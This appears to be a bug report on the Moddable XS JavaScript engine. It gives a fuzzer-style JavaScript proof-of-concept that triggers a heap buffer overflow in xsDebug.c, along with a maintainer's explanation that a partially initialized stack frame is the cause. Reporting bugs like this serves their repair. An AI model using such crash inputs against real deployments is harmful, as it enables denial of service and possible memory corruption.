Heap buffer overflow at moddable/xs/sources/xsDebug.c:783

[kvenux]

Build environment:
Ubuntu 16.04
gcc 5.4.0
xst version: de64c70 (git hash)
build command:
cd /path/to/moddable/xs/makefiles/lin
make
test command: ./xst poc

Target device:

Desktop Linux

POC

function f() {
var a = [10];
[{}] = a.slice(function () {
}, a.length);
a = a.toString(a);
var De65 = !9007199254740994;
var C44J = +-Infinity;
try {
f();
} catch (e) {
}
}
f();
var iGax = f();
var YeKj = f();
var KetZ = f();
var wPbt = f();
var sz6k = +-2147483649;
var Si7p = !1e+400;

Description
Below is the ASAN outputs. Heap buffer overflow at /moddable/xs/sources/xsDebug.c:783

[phoddie]

The top stack frame is only partially initialized because the stack overflowed while creating the frame. This leads to a crash in the code sending the stack frame to the debugger.